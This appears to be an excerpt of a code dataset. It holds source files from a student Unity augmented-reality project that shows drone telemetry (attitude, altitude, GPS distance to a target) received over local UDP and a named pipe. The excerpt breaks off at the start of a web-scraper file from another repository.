remoteEP);\n //print(\"receive data from \" + remoteEP.ToString());\n\n string message = Encoding.ASCII.GetString(data);\n //print(\"Messages \" + message);\n //byte[] send_buffer = Encoding.ASCII.GetBytes(message);\n //udpServer.Send(send_buffer, send_buffer.Length, remoteEP);\n\n flight_data = message;\n }\n }\n\n // Use this for initialization\n void Start () {\n ThreadStart childref = new ThreadStart(ServerThread);\n Thread childThread = new Thread(childref);\n childThread.IsBackground = true;\n childThread.Start();\n }\n\t\n\t// Update is called once per frame\n\tvoid Update () {\n //print(\"Message arrived: \" + msg);\n\n string[] alldata = flight_data.Split(':');\n\n //print(\"Header: \" + alldata[4]);\n if (alldata[0].Equals(\"AraTa\"))\n {\n if (alldata[1] != \"\" && alldata[2] != \"\" && alldata[3] != \"\")\n {\n //print(\"Masuk\");\n //print(vec3[1] + \", \" + vec3[2] + \", \" + vec3[3]);\n yaw = float.Parse(alldata[1]);\n pitch = float.Parse(alldata[2]) * -1;\n roll = float.Parse(alldata[3]);\n altitude = float.Parse(alldata[4]);\n longitude = float.Parse(alldata[5]);\n latitude = float.Parse(alldata[6]);\n\n string alt_text = \"Altitude: \" + altitude.ToString() + \" m\";\n altitude_text.text = alt_text;\n movePlane(altitude);\n //print(alt_text);\n //print(altitude + \", \" + longitude + \", \" + latitude);\n //print(yaw + \", \" + pitch + \", \" + roll);\n\n double distanceTo = DistanceTo(latitude, longitude, target_lat, target_long, 'K') * 1000;\n double targetHeading = angleFromCoordinate(latitude, longitude, target_lat, target_long);\n\n double targetHeadingRad = targetHeading * Math.PI / 180;\n double pos_pin_x = Math.Sin(targetHeadingRad) * distanceTo;\n double pos_pin_y = Math.Cos(targetHeadingRad) * distanceTo;\n pin.transform.position = new Vector3((float)pos_pin_x, 0f, (float)pos_pin_y);\n\n rotateDirection(yaw, (float)targetHeading);\n\n string dst_text = string.Format(\"{0:F2}\", distanceTo) + \" m\";\n distance_text.text = dst_text;\n //print(targetHeading + \", \" + targetHeadingRad + \", \" + distanceTo + \", \" + pos_pin_x + \", \" + pos_pin_y + \", \" + latitude + \", \" + longitude);\n\n float difYaw = yaw - lastRot[0];\n float difPitch = pitch - lastRot[1];\n float difRoll = roll - lastRot[2];\n\n rotateCamera(difYaw, difPitch, difRoll);\n\n lastRot[0] = transform.rotation.eulerAngles.y;\n lastRot[1] = transform.rotation.eulerAngles.x;\n lastRot[2] = transform.rotation.eulerAngles.z;\n\n float hudRoll = roll - lastRoll;\n rotateRoll(hudRoll);\n\n lastRoll = roll;\n\n float mvPitch = pitch / 10;\n float hudpitch = mvPitch - lastPitch;\n movePitch(hudpitch, roll);\n\n lastPitch = arrow_pitch.position.y;\n //Debug.Log(\"hud: \" + hudRoll + \", roll: \" + roll + \", lastRoll: \" + lastRoll);\n //Debug.Log(\"art: \" + difYaw + \", \" + difPitch + \", \" + difRoll);\n //Debug.Log(\"ptc: \" + mvPitch + \", \" + pitch + \", \" + lastPitch + \", \" + hudpitch);\n }\n }\n }\n\n private double DistanceTo(double lat1, double lon1, double lat2, double lon2, char unit = 'K')\n {\n double rlat1 = Math.PI * lat1 / 180;\n double rlat2 = Math.PI * lat2 / 180;\n double theta = lon1 - lon2;\n double rtheta = Math.PI * theta / 180;\n double dist =\n Math.Sin(rlat1) * Math.Sin(rlat2) + Math.Cos(rlat1) *\n Math.Cos(rlat2) * Math.Cos(rtheta);\n dist = Math.Acos(dist);\n dist = dist * 180 / Math.PI;\n dist = dist * 60 * 1.1515;\n\n switch (unit)\n {\n case 'K': //Kilometers -> default\n return dist * 1.609344;\n case 'N': //Nautical Miles \n return dist * 0.8684;\n case 'M': //Miles\n return dist;\n }\n\n return dist;\n }\n\n private double angleFromCoordinate(double lat1, double long1, double lat2, double long2)\n {\n\n double dLon = (long2 - long1);\n\n double y = Math.Sin(dLon) * Math.Cos(lat2);\n double x = Math.Cos(lat1) * Math.Sin(lat2) - Math.Sin(lat1)\n * Math.Cos(lat2) * Math.Cos(dLon);\n\n double brng = Math.Atan2(y, x);\n\n brng = toDegrees(brng);\n brng = (brng + 360) % 360;\n if (brng > 180) brng = brng - 360;\n //brng = 360 - brng; // count degrees counter-clockwise - remove to make clockwise\n\n return brng;\n }\n\n private double toDegrees(double radians)\n {\n double degrees = (180 / Math.PI) * radians;\n return (degrees);\n }\n\n void movePlane(float altitude)\n {\n Vector3 prevAlt = plane.transform.position;\n plane.transform.position = new Vector3(prevAlt.x, altitude, prevAlt.z);\n }\n\n void rotateDirection(float heading, float target_heading)\n {\n float dHeading = target_heading - heading;\n float prevHeading = arrow_direction.eulerAngles.y;\n if (prevHeading > 180) prevHeading = prevHeading - 360;\n float dy = dHeading- prevHeading;\n arrow_direction.Rotate(new Vector3(0f, dy, 0f), Space.Self);\n\n //Quaternion prev = arrow_direction.rotation;\n //Quaternion newQ = new Quaternion(prev.x, prev.y+2, prev.z, prev.w);\n //arrow_direction.rotation = newQ;\n print(heading + \", \" + target_heading + \", \" + dHeading + \", \" + prevHeading + \", \" + dy);\n }\n\n void rotateCamera(float dy, float dp, float dr)\n {\n transform.Rotate(new Vector3(dp, dy, dr), Space.Self);\n obj_roll.Rotate(new Vector3(dp, dy, dr), Space.Self);\n obj_pitch.Rotate(new Vector3(dp, dy, dr), Space.Self);\n direction.Rotate(new Vector3(dp, dy, dr), Space.Self);\n }\n\n void rotateRoll(float vroll)\n {\n arrow_roll.Rotate(new Vector3(0f, 0f, vroll), Space.Self);\n arrow_pitch.Rotate(new Vector3(0f, 0f, vroll), Space.Self);\n }\n\n void movePitch(float dpitch, float teta)\n {\n double rad = teta * Math.PI / 180;\n double xPitch = Math.Sin(rad) * dpitch;\n double yPitch = Math.Cos(rad) * dpitch;\n obj_pitch.Translate(new Vector3((float)xPitch, (float)yPitch, 0f), Space.Self);\n //arrow_pitch.Translate(new Vector3(0f, dpitch, 0f), Space.Self);\n //arrow_pitch.transform.position = new Vector3(0f, 0f, 0f);\n //obj_pitch.position.Set(0f, mvPitch, 0f);\n }\n}\n"}],"string":"[\n {\n \"alpha_fraction\": 0.5902174115180969,\n \"alphanum_fraction\": 0.6010869741439819,\n \"avg_line_length\": 20.418603897094727,\n \"blob_id\": \"9b82c2f19fc0764fd9fe46e0683c671669d976d2\",\n \"content_id\": \"d14e1d82ea8d90d1f1009fd1639fc5c0fb337433\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"C#\",\n \"length_bytes\": 922,\n \"license_type\": \"no_license\",\n \"max_line_length\": 74,\n \"num_lines\": 43,\n \"path\": \"/Wecam/Assets/MoveCameraScript.cs\",\n \"repo_name\": \"2018-RealitasVirtualAugmentasi/tugas5-fp-ar-arezana\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"using System;\\nusing System.Collections;\\nusing System.Collections.Generic;\\nusing UnityEngine;\\n\\npublic class MoveCameraScript : MonoBehaviour\\n{\\n public float mSpeed;\\n\\n // Use this for initialization\\n void Start()\\n {\\n mSpeed = 20f;\\n }\\n\\n float inputX, inputZ;\\n // Update is called once per frame\\n void Update()\\n {\\n inputX = mSpeed * Input.GetAxis(\\\"Horizontal\\\");\\n inputZ = mSpeed * Input.GetAxis(\\\"Vertical\\\");\\n\\n if (inputX != 0)\\n rotateLeftRight();\\n if (inputZ != 0)\\n rotateUpDown();\\n }\\n\\n private void move()\\n {\\n transform.position += transform.forward * inputZ * Time.deltaTime;\\n }\\n\\n private void rotateLeftRight()\\n {\\n transform.Rotate(new Vector3(0f, inputX * Time.deltaTime, 0f));\\n }\\n\\n private void rotateUpDown()\\n {\\n transform.Rotate(new Vector3(-inputZ * Time.deltaTime, 0f, 0f));\\n }\\n}\"\n },\n {\n \"alpha_fraction\": 0.5292174816131592,\n \"alphanum_fraction\": 0.5556402206420898,\n \"avg_line_length\": 36.141510009765625,\n \"blob_id\": \"593213f7a573c598785802d6821ec10210bd1ab3\",\n \"content_id\": \"bc5c136df082ffafd661844222b524ce167cf451\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 3936,\n \"license_type\": \"no_license\",\n \"max_line_length\": 272,\n \"num_lines\": 106,\n \"path\": \"/mavlink_serial.py\",\n \"repo_name\": \"2018-RealitasVirtualAugmentasi/tugas5-fp-ar-arezana\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"import sys, time\\nimport mavlink_function as mav\\nfrom pymavlink import mavutil\\nfrom argparse import ArgumentParser\\n\\nimport socket\\nimport sys\\n\\n# Create a UDP socket\\nsock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\\n\\nserver_address = ('localhost', 10000)\\n\\nclass RAW_IMU:\\n def __init__(self, _xacc, _yacc, _zacc, _xgyro, _ygyro, _zgyro, _xmag, _ymag, _zmag):\\n self.xacc = _xacc\\n self.yacc = _yacc\\n self.zacc = _zacc\\n self.xgyro = _xgyro\\n self.ygyro = _ygyro\\n self.zgyro = _zgyro\\n self.xmag = _xmag\\n self.ymag = _ymag\\n self.zmag = _zmag\\n\\nclass RAW_GPS:\\n def __init__(self, _fix_type, _lat, _lon, _alt, _eph, _epv, _vel, _cog, _satellites_visible):\\n self.fix_type = _fix_type\\n self.lat = _lat\\n self.lon = _lon\\n self.alt = _alt\\n self.eph = _eph\\n self.epv = _epv\\n self.vel = _vel\\n self.cog = _cog\\n self.satellites_visible = _satellites_visible\\n \\nmaster = mavutil.mavlink_connection(\\\"COM7\\\", 115200)\\n\\nheading = -999\\nroll = -999\\npitch = -999\\naltitude = -999\\nlatitude = -999\\nlongitude = -999\\n\\nGPS = RAW_GPS(0,0,0,0,0,0,0,0,0)\\nprev_GPS = RAW_GPS(0,0,0,0,0,0,0,0,0)\\ndistance = 0\\ninit = True\\n\\nwhile True:\\n try:\\n master.mav.request_data_stream_send(master.target_system, master.target_component, \\n\\t\\tmavutil.mavlink.MAV_DATA_STREAM_ALL, 100, 1)\\n # print(master.recv_match())\\n message = master.recv_match()\\n \\n if not message:\\n continue\\n if message.get_type() == 'RAW_IMU': #ATTITUDE\\n RAW_IMU_dict = message.to_dict()\\n DATA = RAW_IMU(int(RAW_IMU_dict[\\\"xacc\\\"]), int(RAW_IMU_dict[\\\"yacc\\\"]), int(RAW_IMU_dict[\\\"zacc\\\"]), int(RAW_IMU_dict[\\\"xgyro\\\"]), int(RAW_IMU_dict[\\\"ygyro\\\"]), int(RAW_IMU_dict[\\\"zgyro\\\"]), int(RAW_IMU_dict[\\\"xmag\\\"]), int(RAW_IMU_dict[\\\"ymag\\\"]), int(RAW_IMU_dict[\\\"zmag\\\"]))\\n roll = mav.roll_estimate(DATA)\\n pitch = mav.pitch_estimate(DATA)\\n \\n if message.get_type() == 'VFR_HUD':\\n VFR_HUD_dict = message.to_dict()\\n heading = int(VFR_HUD_dict[\\\"heading\\\"])\\n if(heading > 180):\\n heading = heading - 360\\n altitude = float(VFR_HUD_dict[\\\"alt\\\"])\\n\\n if message.get_type() == 'GPS_RAW_INT':\\n GPS_dict = message.to_dict()\\n GPS = RAW_GPS(int(GPS_dict[\\\"fix_type\\\"]), float(GPS_dict[\\\"lat\\\"]) / 10000000, float(GPS_dict[\\\"lon\\\"]) / 10000000, int(GPS_dict[\\\"alt\\\"]), int(GPS_dict[\\\"eph\\\"]), int(GPS_dict[\\\"epv\\\"]), int(GPS_dict[\\\"vel\\\"]), int(GPS_dict[\\\"cog\\\"]), int(GPS_dict[\\\"satellites_visible\\\"]))\\n # if(not init):\\n # distance = mav.distance_two(GPS, prev_GPS) * 1000 #kilometer to meter\\n \\n # prev_GPS = GPS\\n # if(prev_GPS.lon != 0 and prev_GPS.lat != 0):\\n # init = False\\n \\n # print(\\\"longitude: %f, latitude: %f, distance: %f\\\" % (GPS.lon, GPS.lat, distance))\\n \\n if(heading != -999 and pitch != -999 and roll != -999 and altitude != -999 and GPS.lon != 0 and GPS.lat != 0):\\n # print(\\\"heading: %d, pitch: %f, roll: %f, altitude: %f, longitude: %f, latitude: %f\\\" % (heading, pitch, roll, altitude, GPS.lon, GPS.lat))\\n # message = \\\"AraTa:\\\"+heading+\\\":\\\"+pitch+\\\":\\\"+roll+\\\":\\\"+altitude+\\\":\\\"+GPS.lon+\\\":\\\"+GPS.lat\\n message = \\\"AraTa:{0}:{1}:{2}:{3}:{4}:{5}\\\".format(heading, pitch, roll, altitude, GPS.lon, GPS.lat)\\n send_message = str.encode(message)\\n print('sending {!r}'.format(send_message))\\n sent = sock.sendto(send_message, server_address)\\n \\n # if message.get_type() == 'NAV_CONTROLLER_OUTPUT':\\n # print(\\\"message: %s\\\" % message)\\n except Exception as e:\\n print(e)\\n exit(0)\\n\\n# Get some information !\\n# while True:\\n# try:\\n# print(master.recv_match().to_dict())\\n# except:\\n# pass\\n# time.sleep(0.1)\"\n },\n {\n \"alpha_fraction\": 0.5810621976852417,\n \"alphanum_fraction\": 0.5870020985603333,\n \"avg_line_length\": 24.105262756347656,\n \"blob_id\": \"e5f20b2f78d18538be3b57dbd0eb9ddf2a93dd30\",\n \"content_id\": \"499934d719d6de4a26be3d4fdd601ab0cb771f38\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"C#\",\n \"length_bytes\": 2864,\n \"license_type\": \"no_license\",\n \"max_line_length\": 139,\n \"num_lines\": 114,\n \"path\": \"/Wecam/Assets/PipeServer.cs\",\n \"repo_name\": \"2018-RealitasVirtualAugmentasi/tugas5-fp-ar-arezana\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"using System.Collections;\\nusing System.Collections.Generic;\\nusing UnityEngine;\\n\\nusing System;\\nusing System.IO;\\nusing System.IO.Pipes;\\nusing System.Diagnostics;\\nusing System.Threading;\\nusing System.Security.Principal;\\nusing System.Text;\\n\\npublic class PipeServer : MonoBehaviour {\\n public static NamedPipeServerStream pipeServer =\\n new NamedPipeServerStream(\\\"testpipe\\\", PipeDirection.InOut);\\n public static string msgs;\\n Process pipeClient = new Process();\\n\\n public static void ServerThread()\\n {\\n print(\\\"Waiting client to connect\\\\n\\\");\\n // Wait for a client to connect\\n pipeServer.WaitForConnection();\\n\\n print(\\\"Connected\\\\n\\\");\\n StreamString ss = new StreamString(pipeServer);\\n\\n while (true)\\n {\\n string messages = \\\"\\\";\\n\\n if (ss.ReadString(ref messages))\\n {\\n //Console.WriteLine(\\\"Read : \\\" + messages);\\n print(\\\"Read : \\\" + messages);\\n }\\n }\\n }\\n\\n // Use this for initialization\\n void Start () {\\n print(\\\"Initialize Pipe Server\\\\n\\\");\\n ThreadStart childref = new ThreadStart(ServerThread);\\n Thread childThread = new Thread(childref);\\n childThread.IsBackground = true;\\n childThread.Start();\\n\\n pipeClient.StartInfo.FileName = \\\"D:/Reza/Dokumen/Visual studio project/WebCam_C_sharp/WebCam_C_sharp/bin/Debug/WebCam_C_sharp.exe\\\";\\n pipeClient.Start();\\n }\\n\\n // Update is called once per frame\\n void Update () {\\n\\t\\t\\n\\t}\\n\\n private void OnApplicationQuit()\\n {\\n pipeServer.Close();\\n pipeClient.Kill();\\n print(\\\"Close\\\");\\n }\\n}\\n\\npublic class StreamString\\n{\\n private Stream ioStream;\\n private UnicodeEncoding streamEncoding;\\n\\n public StreamString(Stream ioStream)\\n {\\n this.ioStream = ioStream;\\n streamEncoding = new UnicodeEncoding();\\n }\\n\\n public bool ReadString(ref string msg)\\n {\\n Console.WriteLine(\\\"read\\\");\\n int len;\\n len = ioStream.ReadByte() * 256;\\n len += ioStream.ReadByte();\\n Console.WriteLine(\\\"Len: \\\" + len);\\n if (len > 0)\\n {\\n byte[] inBuffer = new byte[len];\\n ioStream.Read(inBuffer, 0, len);\\n\\n msg = streamEncoding.GetString(inBuffer);\\n\\n return true;\\n }\\n else\\n {\\n msg = \\\"\\\";\\n return false;\\n }\\n }\\n\\n public int WriteString(string outString)\\n {\\n byte[] outBuffer = streamEncoding.GetBytes(outString);\\n int len = outBuffer.Length;\\n if (len > UInt16.MaxValue)\\n {\\n len = (int)UInt16.MaxValue;\\n }\\n ioStream.WriteByte((byte)(len / 256));\\n ioStream.WriteByte((byte)(len & 255));\\n ioStream.Write(outBuffer, 0, len);\\n ioStream.Flush();\\n\\n return outBuffer.Length + 2;\\n }\\n}\\n\"\n },\n {\n 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pitch = 0;\\n float roll = 0;\\n \\n void OnMessageArrived(string msg)\\n {\\n //print(\\\"Message arrived: \\\" + msg);\\n string[] vec3 = msg.Split(':');\\n\\n //Debug.Log(\\\"Header: \\\" + vec3[0]);\\n if (vec3[0].Equals(\\\"AraTa\\\"))\\n {\\n if (vec3[1] != \\\"\\\" && vec3[2] != \\\"\\\" && vec3[3] != \\\"\\\")\\n {\\n //print(\\\"Masuk\\\");\\n //print(vec3[1] + \\\", \\\" + vec3[2] + \\\", \\\" + vec3[3]);\\n yaw = float.Parse(vec3[1]);\\n pitch = float.Parse(vec3[2]);\\n roll = float.Parse(vec3[3]);\\n\\n print(yaw + \\\", \\\" + pitch + \\\", \\\" + roll);\\n\\n float difYaw = yaw - lastRot[0];\\n float difPitch = pitch - lastRot[1];\\n float difRoll = roll - lastRot[2];\\n\\n rotateCamera(difYaw, difPitch, difRoll);\\n \\n lastRot[0] = transform.rotation.eulerAngles.y;\\n lastRot[1] = transform.rotation.eulerAngles.x;\\n lastRot[2] = transform.rotation.eulerAngles.z;\\n\\n float hudRoll = roll - lastRoll;\\n rotateRoll(hudRoll);\\n\\n lastRoll = roll;\\n\\n float mvPitch = ((pitch + 180) / 360 * 36) - 18;\\n float hudpitch = mvPitch - lastPitch;\\n movePitch(hudpitch);\\n\\n lastPitch = arrow_pitch.position.y;\\n //Debug.Log(\\\"hud: \\\" + hudRoll + \\\", roll: \\\" + roll + \\\", lastRoll: \\\" + lastRoll);\\n //Debug.Log(\\\"art: \\\" + difYaw + \\\", \\\" + difPitch + \\\", \\\" + difRoll);\\n //Debug.Log(\\\"ptc: \\\" + mvPitch + \\\", \\\" + pitch + \\\", \\\" + lastPitch + \\\", \\\" + hudpitch);\\n }\\n }\\n }\\n\\n void rotateCamera(float dy, float dp, float dr)\\n {\\n transform.Rotate(new Vector3(dp, dy, dr), Space.Self);\\n obj_roll.Rotate(new Vector3(dp, dy, dr), Space.Self);\\n obj_pitch.Rotate(new Vector3(dp, dy, dr), Space.Self);\\n }\\n\\n void rotateRoll(float vroll)\\n {\\n arrow_roll.Rotate(new Vector3(0f, 0f, vroll), Space.Self);\\n arrow_pitch.Rotate(new Vector3(0f, 0f, vroll), Space.Self);\\n }\\n\\n void movePitch(float dpitch)\\n {\\n arrow_pitch.Translate(new Vector3(0f, dpitch, 0f), Space.Self);\\n //obj_pitch.transform.position = new Vector3(0.0f, mvPitch, 15.0f);\\n //obj_pitch.position.Set(0f, mvPitch, 0f);\\n }\\n\\n void OnConnectionEvent(bool success)\\n {\\n if (success)\\n Debug.Log(\\\"Connection established\\\");\\n else\\n Debug.Log(\\\"Connection attempt failed or disconnection detected\\\");\\n }\\n}\\n\"\n },\n {\n \"alpha_fraction\": 0.536709189414978,\n \"alphanum_fraction\": 0.5576328039169312,\n \"avg_line_length\": 33.81465530395508,\n \"blob_id\": \"291b9458184efb1e25ae311b44eaa3962661c7dd\",\n \"content_id\": \"8592881784b777ff345ea26d2be7a2f05095c47c\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"C#\",\n \"length_bytes\": 8079,\n \"license_type\": \"no_license\",\n \"max_line_length\": 160,\n \"num_lines\": 232,\n \"path\": \"/Wecam/Assets/FligthController.cs\",\n \"repo_name\": \"2018-RealitasVirtualAugmentasi/tugas5-fp-ar-arezana\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"using System;\\nusing System.Collections;\\nusing System.Collections.Generic;\\nusing System.Diagnostics;\\nusing System.Net;\\nusing System.Net.Sockets;\\nusing System.Text;\\nusing System.Threading;\\nusing UnityEngine;\\nusing UnityEngine.UI;\\n\\npublic class FligthController : MonoBehaviour {\\n public static string flight_data = \\\"\\\";\\n\\n float[] lastRot = { 0, 0, 0 };\\n float lastRoll = 0;\\n float lastPitch = 0;\\n\\n public Transform plane;\\n public Transform obj_roll;\\n public Transform arrow_roll;\\n public Transform obj_pitch;\\n public Transform arrow_pitch;\\n public Transform pin;\\n public Transform direction;\\n public Transform arrow_direction;\\n\\n public Text altitude_text;\\n public Text distance_text;\\n\\n float yaw = 0;\\n float pitch = 0;\\n float roll = 0;\\n\\n float altitude = 0;\\n float longitude = 0;\\n float latitude = 0;\\n\\n public float target_long;\\n public float target_lat;\\n\\n public static void ServerThread()\\n {\\n UdpClient udpServer = new UdpClient(10000);\\n\\n while (true)\\n {\\n var remoteEP = new IPEndPoint(IPAddress.Any, 10000);\\n var data = udpServer.Receive(ref remoteEP);\\n //print(\\\"receive data from \\\" + remoteEP.ToString());\\n\\n string message = Encoding.ASCII.GetString(data);\\n //print(\\\"Messages \\\" + message);\\n //byte[] send_buffer = Encoding.ASCII.GetBytes(message);\\n //udpServer.Send(send_buffer, send_buffer.Length, remoteEP);\\n\\n flight_data = message;\\n }\\n }\\n\\n // Use this for initialization\\n void Start () {\\n ThreadStart childref = new ThreadStart(ServerThread);\\n Thread childThread = new Thread(childref);\\n childThread.IsBackground = true;\\n childThread.Start();\\n }\\n\\t\\n\\t// Update is called once per frame\\n\\tvoid Update () {\\n //print(\\\"Message arrived: \\\" + msg);\\n\\n string[] alldata = flight_data.Split(':');\\n\\n //print(\\\"Header: \\\" + alldata[4]);\\n if (alldata[0].Equals(\\\"AraTa\\\"))\\n {\\n if (alldata[1] != \\\"\\\" && alldata[2] != \\\"\\\" && alldata[3] != \\\"\\\")\\n {\\n //print(\\\"Masuk\\\");\\n //print(vec3[1] + \\\", \\\" + vec3[2] + \\\", \\\" + vec3[3]);\\n yaw = float.Parse(alldata[1]);\\n pitch = float.Parse(alldata[2]) * -1;\\n roll = float.Parse(alldata[3]);\\n altitude = float.Parse(alldata[4]);\\n longitude = float.Parse(alldata[5]);\\n latitude = float.Parse(alldata[6]);\\n\\n string alt_text = \\\"Altitude: \\\" + altitude.ToString() + \\\" m\\\";\\n altitude_text.text = alt_text;\\n movePlane(altitude);\\n //print(alt_text);\\n //print(altitude + \\\", \\\" + longitude + \\\", \\\" + latitude);\\n //print(yaw + \\\", \\\" + pitch + \\\", \\\" + roll);\\n\\n double distanceTo = DistanceTo(latitude, longitude, target_lat, target_long, 'K') * 1000;\\n double targetHeading = angleFromCoordinate(latitude, longitude, target_lat, target_long);\\n\\n double targetHeadingRad = targetHeading * Math.PI / 180;\\n double pos_pin_x = Math.Sin(targetHeadingRad) * distanceTo;\\n double pos_pin_y = Math.Cos(targetHeadingRad) * distanceTo;\\n pin.transform.position = new Vector3((float)pos_pin_x, 0f, (float)pos_pin_y);\\n\\n rotateDirection(yaw, (float)targetHeading);\\n\\n string dst_text = string.Format(\\\"{0:F2}\\\", distanceTo) + \\\" m\\\";\\n distance_text.text = dst_text;\\n //print(targetHeading + \\\", \\\" + targetHeadingRad + \\\", \\\" + distanceTo + \\\", \\\" + pos_pin_x + \\\", \\\" + pos_pin_y + \\\", \\\" + latitude + \\\", \\\" + longitude);\\n\\n float difYaw = yaw - lastRot[0];\\n float difPitch = pitch - lastRot[1];\\n float difRoll = roll - lastRot[2];\\n\\n rotateCamera(difYaw, difPitch, difRoll);\\n\\n lastRot[0] = transform.rotation.eulerAngles.y;\\n lastRot[1] = transform.rotation.eulerAngles.x;\\n lastRot[2] = transform.rotation.eulerAngles.z;\\n\\n float hudRoll = roll - lastRoll;\\n rotateRoll(hudRoll);\\n\\n lastRoll = roll;\\n\\n float mvPitch = pitch / 10;\\n float hudpitch = mvPitch - lastPitch;\\n movePitch(hudpitch, roll);\\n\\n lastPitch = arrow_pitch.position.y;\\n //Debug.Log(\\\"hud: \\\" + hudRoll + \\\", roll: \\\" + roll + \\\", lastRoll: \\\" + lastRoll);\\n //Debug.Log(\\\"art: \\\" + difYaw + \\\", \\\" + difPitch + \\\", \\\" + difRoll);\\n //Debug.Log(\\\"ptc: \\\" + mvPitch + \\\", \\\" + pitch + \\\", \\\" + lastPitch + \\\", \\\" + hudpitch);\\n }\\n }\\n }\\n\\n private double DistanceTo(double lat1, double lon1, double lat2, double lon2, char unit = 'K')\\n {\\n double rlat1 = Math.PI * lat1 / 180;\\n double rlat2 = Math.PI * lat2 / 180;\\n double theta = lon1 - lon2;\\n double rtheta = Math.PI * theta / 180;\\n double dist =\\n Math.Sin(rlat1) * Math.Sin(rlat2) + Math.Cos(rlat1) *\\n Math.Cos(rlat2) * Math.Cos(rtheta);\\n dist = Math.Acos(dist);\\n dist = dist * 180 / Math.PI;\\n dist = dist * 60 * 1.1515;\\n\\n switch (unit)\\n {\\n case 'K': //Kilometers -> default\\n return dist * 1.609344;\\n case 'N': //Nautical Miles \\n return dist * 0.8684;\\n case 'M': //Miles\\n return dist;\\n }\\n\\n return dist;\\n }\\n\\n private double angleFromCoordinate(double lat1, double long1, double lat2, double long2)\\n {\\n\\n double dLon = (long2 - long1);\\n\\n double y = Math.Sin(dLon) * Math.Cos(lat2);\\n double x = Math.Cos(lat1) * Math.Sin(lat2) - Math.Sin(lat1)\\n * Math.Cos(lat2) * Math.Cos(dLon);\\n\\n double brng = Math.Atan2(y, x);\\n\\n brng = toDegrees(brng);\\n brng = (brng + 360) % 360;\\n if (brng > 180) brng = brng - 360;\\n //brng = 360 - brng; // count degrees counter-clockwise - remove to make clockwise\\n\\n return brng;\\n }\\n\\n private double toDegrees(double radians)\\n {\\n double degrees = (180 / Math.PI) * radians;\\n return (degrees);\\n }\\n\\n void movePlane(float altitude)\\n {\\n Vector3 prevAlt = plane.transform.position;\\n plane.transform.position = new Vector3(prevAlt.x, altitude, prevAlt.z);\\n }\\n\\n void rotateDirection(float heading, float target_heading)\\n {\\n float dHeading = target_heading - heading;\\n float prevHeading = arrow_direction.eulerAngles.y;\\n if (prevHeading > 180) prevHeading = prevHeading - 360;\\n float dy = dHeading- prevHeading;\\n arrow_direction.Rotate(new Vector3(0f, dy, 0f), Space.Self);\\n\\n //Quaternion prev = arrow_direction.rotation;\\n //Quaternion newQ = new Quaternion(prev.x, prev.y+2, prev.z, prev.w);\\n //arrow_direction.rotation = newQ;\\n print(heading + \\\", \\\" + target_heading + \\\", \\\" + dHeading + \\\", \\\" + prevHeading + \\\", \\\" + dy);\\n }\\n\\n void rotateCamera(float dy, float dp, float dr)\\n {\\n transform.Rotate(new Vector3(dp, dy, dr), Space.Self);\\n obj_roll.Rotate(new Vector3(dp, dy, dr), Space.Self);\\n obj_pitch.Rotate(new Vector3(dp, dy, dr), Space.Self);\\n direction.Rotate(new Vector3(dp, dy, dr), Space.Self);\\n }\\n\\n void rotateRoll(float vroll)\\n {\\n arrow_roll.Rotate(new Vector3(0f, 0f, vroll), Space.Self);\\n arrow_pitch.Rotate(new Vector3(0f, 0f, vroll), Space.Self);\\n }\\n\\n void movePitch(float dpitch, float teta)\\n {\\n double rad = teta * Math.PI / 180;\\n double xPitch = Math.Sin(rad) * dpitch;\\n double yPitch = Math.Cos(rad) * dpitch;\\n obj_pitch.Translate(new Vector3((float)xPitch, (float)yPitch, 0f), Space.Self);\\n //arrow_pitch.Translate(new Vector3(0f, dpitch, 0f), Space.Self);\\n //arrow_pitch.transform.position = new Vector3(0f, 0f, 0f);\\n //obj_pitch.position.Set(0f, mvPitch, 0f);\\n }\\n}\\n\"\n }\n]","isConversational":false},"num_files":{"kind":"number","value":5,"string":"5"}}},{"rowIdx":2984084,"cells":{"repo_name":{"kind":"string","value":"skylarbarrera/courselist-webScraperWM"},"repo_url":{"kind":"string","value":"https://github.com/skylarbarrera/courselist-webScraperWM"},"snapshot_id":{"kind":"string","value":"fe19acba0970f2d18396af694571910b6927132e"},"revision_id":{"kind":"string","value":"68dabdefe0ca850de7888aeb16534fb19fe0fd7d"},"directory_id":{"kind":"string","value":"ca2ba5b26e1a7f9acb30ac5802ea84be6d88146b"},"branch_name":{"kind":"string","value":"refs/heads/master"},"visit_date":{"kind":"timestamp","value":"2020-12-03T08:24:35.646835","string":"2020-12-03T08:24:35.646835"},"revision_date":{"kind":"timestamp","value":"2020-01-01T20:31:20","string":"2020-01-01T20:31:20"},"committer_date":{"kind":"timestamp","value":"2020-01-01T20:31:20","string":"2020-01-01T20:31:20"},"github_id":{"kind":"number","value":231251146,"string":"231,251,146"},"star_events_count":{"kind":"number","value":0,"string":"0"},"fork_events_count":{"kind":"number","value":0,"string":"0"},"gha_license_id":{"kind":"null"},"gha_created_at":{"kind":"null"},"gha_updated_at":{"kind":"null"},"gha_pushed_at":{"kind":"null"},"gha_language":{"kind":"null"},"files":{"kind":"list like","value":[{"alpha_fraction":0.622107982635498,"alphanum_fraction":0.6246786713600159,"avg_line_length":24.933332443237305,"blob_id":"a41a68bf2d23dc4980a323df16ce902ba910213a","content_id":"00f3f6f71b0e9b344437795e7de20eb11d64187d","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":1167,"license_type":"no_license","max_line_length":96,"num_lines":45,"path":"/subjectScraper.py","repo_name":"skylarbarrera/courselist-webScraperWM","src_encoding":"UTF-8","text":"import requests\nfrom bs4 import BeautifulSoup\nfrom time import sleep\nfrom selenium import webdriver\n\nclass SubjectScraper:\n def __init__(self):\n self.url = \"https://courselist.wm.edu/courselist/\"\n\n\n self.driver = self.__setupDriver();\n self.subjects = self.__pullSubjects();\n\n\n def __setupDriver(self):\n\n options = webdriver.ChromeOptions()\n options.binary_location = \"/Applications/Google Chrome.app/Contents/MacOS/Google Chrome\"\n chrome_driver_binary = \"/usr/local/bin/chromedriver\"\n return webdriver.Chrome(chrome_driver_binary, 